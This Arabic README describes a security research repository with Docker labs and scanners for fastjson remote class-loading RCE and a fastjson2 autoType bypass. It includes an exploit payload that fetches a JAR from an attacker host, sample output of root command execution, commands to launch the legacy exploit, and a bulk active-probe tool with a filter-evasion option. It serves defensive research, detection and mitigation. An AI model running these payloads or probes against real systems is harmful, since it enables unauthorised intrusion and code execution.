
مختبرات Docker + ماسح دفاعي لثغرة RCE عبر تحميل الفئات عن بُعد في fastjson. fastjson 1.2.66-1.2.83: استكشاف موارد @JSONType (CVE-2026-16723). fastjson2 2.0.57: يصل @type الخاص بالمهاجم إلى loadClass مع تعطيل autoType عبر الأنواع متعددة الأشكال (@JSONType(seeAlso) / Jackson @JsonSubTypes). حمولات تقتصر على العلامات فقط؛ مع ضوابط safeMode + JDK17.
@JSONTypeيحتفظ هذا المستودع الآن بمساري بحث متميزين لـ Fastjson:
modern-fd/ هو إعادة البناء الموصى بها والمقتصرة على العلامات فقط لسلسلة 1.2.83 أحادية الجسم لـ Fastjson عبر remote-JAR/وصف الملف على Spring Boot 3 وTomcat المضمّن العادي وJDK 17. يستخدم المستقبل الحرفي الثابت JSON.parseObject(body, BoundEnvelope.class) مع تعطيل AutoType.scanner/ على كشف سلبي للطلبات/السجلات، وجرد ثابت للقطع الأثرية، ومسبار وصول غير منفّذ للأكواد.الخلل: يستعلم
ParserConfig.checkAutoTypeعن كل قيمة@typeبحثًا عن تعليق@JSONTypeعبر تنفيذgetResourceAsStream(typeName.replace('.','/') + ".class"). على مجموعات Linux/JDK الحديثة، يمكن لمسبارjar:httpعن بُعد أن يترك JAR مخزّنًا مؤقتًا خلف واصف مفتوح؛ ويمكن لمسبارات لاحقةjar:file:/proc/self/fd/Nفي نفس الجسم إعادة فتحه تحت أسماء فئات صالحة وتهيئة فئة مُعلَّقة. يعمل تركيب 1.2.83 الدقيق مع تعطيل AutoType وعبر DTO ثابت يحتوي علىList<Object>. لذلك فإن مجرد الربط ليس تخفيفًا. الشرح الكامل:docs/MECHANISM.md.
غطّت المراجعة المصاحبة للمشروع بأكمله 2,041 صفًا من الاستدعاءات/المُهيّئات الثابتة عبر جميع ملفات Fastjson 1.2.83 الإنتاجية البالغ عددها 193 ملف Java. يعطي الجدول أدناه الأولوية للنتائج الأكثر تأثيرًا؛ وهو ليس ادعاءً بأن كل نشر لـ Fastjson متأثر. يعيد هذا المستودع إنتاج F105 مباشرةً. وتلخّص الإدخالات المتبقية مراجعة المصدر المستقلة والمغلفة والأدلة المختبرية المحدودة.
انظر findings/FINDINGS.md للحصول على وسوم التحقق والمتطلبات المسبقة والنتائج الأدنى ترتيبًا وأولويات المعالجة والحدود السلبية الصريحة.
هذا المستودع مخصص لـ التعليم والبحث الدفاعي والاختبار المصرَّح به للأنظمة التي تملكها أو يُسمح لك صراحةً باختبارها. يُرجى، عند دعم النشر المضيف للشبكة الداخلية للمختبر الحديث، قصره على 127.0.0.1 فقط؛ فسكربتاته تقود الاختبار بالكامل داخل تلك الشبكة المعزولة. لا يملك المختبر الحديث أي بدائية لتنفيذ العمليات، ويضع فقط علامة ثابتة داخل JVM. أما مختبر JDK 8 القديم فينفذ id ويكتب مخرجه إلى /tmp/PWNED؛ أبقِه معزولًا. لا توجّه الاستغلال القديم أو المسبار النشط إلى أنظمة غير مصرَّح بها.
يوفّر دليل scanner/ أربع أدوات Python 3 بدون أي تبعيات (بدون تثبيت pip).
fjdetect.py — يفحص سلبيًا أجسام طلبات JSON المفكوكة أو سجلات JSON المنظمة بحثًا عن بذور remote-JAR وتسلسلات /proc/self/fd أو /dev/fd.fjscan_static.py — يجرد ملفات jars/wars/ears بحثًا عن التركيبة القابلة للاستغلال (محتوى 1.2.83 مُتحقَّق منه وموثَّق × محتوى فئة محمّل Spring Boot الفعلي). ويُبلَّغ بشكل منفصل عن إصدارات 1.2.48–1.2.82 التي تحمل مسبارًا والمرشحين المعتمدين على البيانات الوصفية/أسماء الملفات فقط للمراجعة. مناسب لبوابات CI (رمز خروج 2 عند EXPOSED).fjscan_probe.py — فحص وصول نشط وآمن: يطلق @type نحو كَنَري تتحكم فيه (مستمع مدمج أو Burp Collaborator / interactsh) ويربط استدعاء جلب المورد. يعيد مستمعه المدمج 404 فارغًا؛ اضبط المستمعات الخارجية بشكل مكافئ. لا يثبت الاستدعاء تحميل الفئة أو RCE.fjpayload.py — يولّد أجسام جلب موارد بعيدة للاختبار اليدوي؛ استخدم فقط مستمعًا فارغًا/404 عندما لا يكون التنفيذ مقصودًا.# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = هدف واحد لكل سطر — إما [METHOD ]URL كاملة أو اسم نطاق مجرد (يُوسَّع عبر --scheme / --target-port / --path)؛ التعليقات التي تبدأ بـ # مسموحة:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (المسبار النشط)
fjscan_static.py (الجرد): <paths…> · --threads N (الافتراضي 8) · --json (خرج آلي؛ رمز الخروج 2 إذا وُجد أي EXPOSED).
fjpayload.py (المولّد): <collaborator> · --targets-file/-f <file\|-> (بالجملة) · --port · --token · --wrap · --entry.
ملاحظة حول Collaborator: يقوم مستقبِل
jar:في@JSONTypeبتنفيذtypeName.replace('.','/')، لذا كل نقطة في المضيف تتحول إلى شرطة مائلة — لا يمكن تمرير نطاق فرعي منقّط من Burp Collaborator (abc.oastify.com) عبره (تتراجع الأدوات إلى عنوان IP صحيح + رمز في مسار URL). للحصول على استدعاء داخل Collaborator عام، استخدم--probe-type dns: بدائيةjava.net.Inet4Addressتقبل مضيفًا منقّطًا وتطلق تفاعل DNS (<tok>.<sub>.oastify.com)، مما يؤكد بدائية تحليلInet4Address+ الوصول الصادر. هذا دليل مسبق، وليس إثباتًا للنهاية remote-JAR/FD. انظرscanner/README.md.
المتطلبات: Docker + Docker Compose، ووصول صادر إلى Maven Central عند البناء الأول (لجلب fastjson / spring-boot-loader / asm).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
ترسل الحالة الإيجابية جسمًا واحدًا إلى خيط طلب Tomcat مضمّن عادي. مستقبلها الحرفي هو final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). لا يتحقق النجاح إلا عبر الخاصية الثابتة ورمز السجل FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1؛ وما زالت الاستجابة تعيد BoundEnvelope مربوطًا بشكل طبيعي. يحتوي دليل الأدلة على الطلب والاستجابة وبيانات الحاوية الوصفية والسجلات وبيان SHA-256.
تغطي ضوابط التحكم JSON العادي، ومرشحي FD بدون بذرة، وبذرة تليها واصفات مستحيلة، وSafeMode. انظر modern-fd/README.md.
يُظهر إفصاح FearsOff نفس النهاية JAR المحتفَظ بها على JDK 21 باستخدام ذاكرة تخزين مؤقت ثابتة للعملية ومرشح FD واحد لكل طلب. بينما يعيد المختبر الحديث في هذا المستودع إنتاج تركيب JDK 17 أحادي الجسم: البذرة الفاشلة بهدوء ومرشحو FD المحدودون تُحمَل عبر طلب واحد بسياق DTO ثابت. يبقى JDK 21 مُبلَّغًا عنه خارجيًا؛ وليس نتيجة تنفيذ أُنتجت هنا.
يبقى مشروع Compose الأصلي على المستوى الأعلى متاحًا لإعادة إنتاج المسار القديم ذي المرحلة الواحدة. وبخلاف modern-fd/، فهو قادر على تنفيذ الأوامر ويجب تشغيله فقط في المختبر المعزول:
make up
make exploit
make down
الخرج المتوقع لـ make exploit:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
إن ClassCastException هي العلامة على أن الربط ليس تخفيفًا: فئة المهاجم تشغّل <clinit> خلال مسبار @type، قبل أن يحاول fastjson تحويلها إلى Dto.
target/Dockerfile إلى JDK 17 يمنع تعريف الاسم المُصاغ القديم هذا ويترك جلبًا. تلك النتيجة لا تختبر أو تخفف من استمرارية /proc/self/fd المنفصلة في modern-fd/.setAutoTypeSupport(true) — تحقق من اللافتة على http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.فعّل -Dfastjson.parser.safeMode=true على المسار العادي الخالي من المعالجات، أو استخدم نسخة البائع com.alibaba:fastjson:1.2.83_noneautotype عندما لا يكون الترحيل الفوري ممكنًا، ودقّق في مثيلات AutoTypeCheckHandler المثبتة. قيّد الوصول الصادر لـ JVM؛ وانقل تحليل البيانات غير الموثوقة بعيدًا عن Fastjson 1.x؛ ونبّه على بذور @type البعيدة عبر JAR ومرشحي /proc/self/fd أو /dev/fd داخل الطلب الواحد وعبر الطلبات المرتبطة. الربط عبر DTO وJDK 9+ ليسا تخفيفًا كاملًا للتركيبة الحديثة.
fastjson2/ هو مختبر ثانٍ مستقل. لا يحتوي fastjson2 على مسبار الموارد @JSONType الخاص بـ fastjson 1.x. لكنه يسمح لِـ @type يتحكم به المهاجم بالوصول إلى ClassLoader.loadClass() مع تعطيل autoType، كلما تضمن مسار التحليل نوعًا متعدد الأشكال — لأن مُنشئ ObjectReaderSeeAlso يثبّت SupportAutoType بشكل قسري، وأي خطأ في seeAlso يمر إلى تحليل autoType كامل قبل تنفيذ فحوصات قابلية الإسناد وDataSource/RowSet.
المحفزات هي تعليقات نمذجة عادية — @JSONType(seeAlso=)، وJackson @JsonSubTypes (يُحترم لأن useJacksonAnnotation افتراضيًا true)، و@JsonTypeInfo، والأنواع المختومة. تحت Spring Boot fat jar يحل محمّل سياق الفئات أسماء jar:http:، لذا تُجلب الفئة من الشبكة ويُشغَّل مُهيّئها الثابت.
أُعيد إنتاجها على fastjson2 2.0.62 (أحدث إصدار) و2.0.57، على JDK 8. safeMode=true يمنعها؛ وJDK 17 يخفضها إلى SSRF؛ وautoTypeFilter(...) لا يحمي. أُفصِح عنها من قبل Chaitin (长亭)، حوالي 2026-07-25 — وليست نتيجةً من نتائج هذا المستودع. لدى المطوِّر عمل تحصين مفتوح في PR #7703 (يحل محل المغلق #7695) يرفض : و! في أسماء الأنواع؛ لا يحتوي أي إصدار مُصدَر عليه — 2.0.62 يسبق كليهما.
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd الحديثة المعاد بناؤهما هنا.@JSONType / اسم jar الداخلي في URL: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. يعيد attacker/Gen.java تنفيذ تلك التقنية لهذا المختبر./proc/self/fd. وعُوملت كتقارير خارجية، وليست كإثبات تشغيل مستقل.modern-fd/ فئات مقتصرة على العلامات كُتبت بشكل مستقل ونقطة نهاية Tomcat عادية بنمط DTO ثابت.يغلف هذا المختبر وأدوات scanner/ تلك النتائج في بيئة اختبار قابلة لإعادة الإنتاج وفحوصات دفاعية. هذا المشروع ليس تابعًا للباحثين أعلاه ولا يحظى بتأييدهم.
| الأولوية | النتيجة | النتيجة المُثبتة | الحدود المهمة |
|---|
| 1 | F105 — تنفيذ bytecode عن بُعد عبر @JSONType | تهيئة فئة مقدَّمة من المهاجم عبر محمّلات Spring Boot المتوافقة، بما في ذلك المسار المباشر على JDK 8 واستمرارية JAR المحتفَظ بها /proc/self/fd/N على Linux/JDK 17 | يتطلب حامل @type يمكن الوصول إليه من المحلِّل، ومحمّل Boot/TCCL متوافقًا، ووصولًا صادرًا، وتعطيل SafeMode/IgnoreAutoType، وJAR دقيق من المهاجم. كما يحتاج مسار DTO الثابت الحديث إلى مسار قيمة عامة (يستخدم المختبر List<Object>) وprocfs على Linux وواصفًا محتفَظًا ومطابقة دقيقة للأسماء؛ وهي ليست عامة عبر كل JDK أو محمّل أو نظام تشغيل |
| 2 | F1/F45 — تنفيذ أوامر عبر TemplatesImpl | تنفيذ أوامر بالعلامات عبر واجهة DTO الثابتة، بما في ذلك خاصية جسم مهملة | يتطلب سياسة خادم مُضعَفة: قبول الفئات، وAutoType، وملء الحقول الخاصة أو مسارات مكافئة؛ الإعدادات الافتراضية النقية تمنعه |
| 3 | F70/C016 — تخزين مؤقت غير محدود وتوسعة GZIP | مسارات byte/InputStream المعنونة وDTO المُعلَّقة تتوسع أو تُخزَّن مؤقتًا دون سقف إخراج؛ تم إعادة إنتاج Java OOME بكومة مقيدة | يلزم الوصول إلى نقطة النهاية/المخطط وبايتات المهاجم؛ لم يتم إثبات انقطاع على نطاق الإنتاج |
| 4 | F18/C089 — استنفاد مكدس خيط المحلِّل | يمكن لقيم الكائنات العادية المتداخلة بعمق إنتاج StackOverflowError ضمن التحليل الافتراضي | تأثير على توافر خيط الطلب؛ وليس تعطلًا دائمًا على مستوى JVM أو الخدمة |
| 5 | F120/C162 — SSRF عبر HTTP و/أو تحميل موارد محلية بمخطط ثابت | JEditorPane/JTextPane.page المتحكَّم فيه من الجسم ينفذ طلبات HTTP ويمكنه تحميل محتوى file: محدود في حالة Document | يتطلب أن يصرّح التطبيق بنوع Swing؛ لم يتم إثبات أي تسريب تلقائي للاستجابة أو RCE |
| 6 | F118/C160 — فشل التفويض/سلامة البيانات عبر تصادم التجزئة | يمكن لتصادم Unicode مميز في FNV-1a-64 الارتباط بثابت enum متميز أو توجيه تغيير JSONPath إلى مَعيّن bean خاطئ | يتطلب تصادمًا قابلًا للاستخدام وثقة في المصب أو عملية تغيير JSONPath مكشوفة؛ لا قبول للفئات ولا RCE |
| 7 | F121/C163 — قابلية الوصول إلى JNDI عبر JdbcRowSet الثابت | تسبّب ترتيب المَعيّنات الدقيق في اتصال JNDI/LDAP صادر واحد تحدده الجسم | الأدلة تتوقف عند اتصال: لا استجابة تسمية، ولا مصنع كائنات، ولا تحميل bytecode، ولا RCE |
| 8 | F2/F45 — تحليل DNS الافتراضي | يعمل تحليل اسم المضيف المتحكَّم فيه من المهاجم تحت الإعداد الافتراضي وعبر خاصية DTO ثابتة مهملة | تفاعل DNS/OOB فقط، وليس SSRF عام عبر HTTP أو RCE |
| Flag | Default | Purpose |
|---|
--auto | off | الأبسط — لكل هدف أرسل مسبار DNS مقارن (خط الأساس + عادي + مهروب بـ Unicode)، واطبع ملخصًا؛ يحتاج فقط --collaborator + --targets |
--canary-ip <ip> | — | وضع المستمع المدمج؛ عنوان IP لهذا المضيف كما تراه الأهداف |
--collaborator <v> | — | OOB خارجي (IPv4 / int / مضيف بدون نقاط / نطاق فرعي لـ Collaborator) |
--probe-type <t> | jsontype | الوضع اليدوي: jsontype = مسار جلب المورد البعيد (jar:http int-IP)؛ dns = OOB عبر Inet4Address من خلال مضيف منقّط (متوافق مع Collaborator)؛ both |
--targets <file|-> | — | قائمة أهداف غير فارغة؛ - يقرأ من stdin (مطلوب)؛ الإدخال الفارغ أو الذي يحتوي تعليقات فقط يخرج برمز غير صفري |
--threads N | 20 | عاملات طلبات متزامنة |
--header 'K: V' | — | ترويسة طلب إضافية (قابلة للتكرار)؛ يتم إرسال --user-agent شبيه بالمتصفح افتراضيًا لطلب واجهة أمامية تمثيلي |
--baseline '{"a":1}' | — | أرسل أيضًا جسم تحكم غير ضار لكل هدف؛ التفاضل في الاستجابة بين خط الأساس/المسبار يتوافق مع معالجة حساسة للمحتوى على الحافة أو الوسيط أو التطبيق ويحتاج إلى تدعيم |
--max-redirects N | 3 | اتبع حتى N من عمليات إعادة التوجيه لنفس الأصل أو الترقيات القياسية لنفس المضيف HTTP:80→HTTPS:443 (0 = لا شيء)؛ يتم منع خفض HTTPS وتغييرات المنفذ/الأصل العشوائية وإعادة توجيه عبر المضيفين؛ تحتفظ الترقيات فقط بترويسات الأساس غير السرية |
--evasion {ukey,uval,both} | none | تهريب \uXXXX لمفتاح @type / قيمة الفئة (لا يزال fastjson يفك ترميزها)؛ الاستدعاء الذي يحدث فقط مع التهريب يتوافق مع مرور بيانات المسبار المفكوكة عبر مرشح كلمات رئيسية حرفية، لكنه ما زال يتطلب تدعيمًا على مستوى المحلِّل/الإصدار |
--scheme / --target-port / --path | http / — / /parse | كيف تُوسَّع النطاقات المجردة |
--method | POST | طريقة HTTP الافتراضية |
--wrap '{"u":{{P}}}' | {{P}} | ضع كائن المسبار داخل حقل |
--listen-port / --port | 19000 / 80 | منفذ الكَنَري المدمج / منفذ collaborator |
--wait / --timeout | 10 / 8 | ثوانٍ لانتظار الاستدعاءات / مهلة لكل طلب |
| المسار | المحتوى |
|---|
modern-fd/ | مختبر سلسلة FD بنمط DTO الثابت على Boot 3/JDK 17 مقتصرًا على العلامات، مع ضوابط حاسمة |
scanner/ | كشف سلبي للحمولات/السجلات، وجرد ثابت، وأدوات وصول غير منفِّذة |
target/ | هدف JDK 8 القديم باستخدام JSON.parseObject(body, Dto.class) تحت محمّل Boot محدد يدويًا |
attacker/ | مولّد فئات JDK 8 القديم القادر على الأوامر وخادم JAR |
exploit/ | إثبات exploit.sh القديم |
docs/MECHANISM.md | شرح مشروح للمصدر خطوة بخطوة |
findings/FINDINGS.md | نتائج المشروع الكامل مرتبة بالأولوية مع المتطلبات المسبقة وحدود المعالجة |
fastjson2/sevcksafeMode، وتاريخ autoType خلف CVE-2022-25845).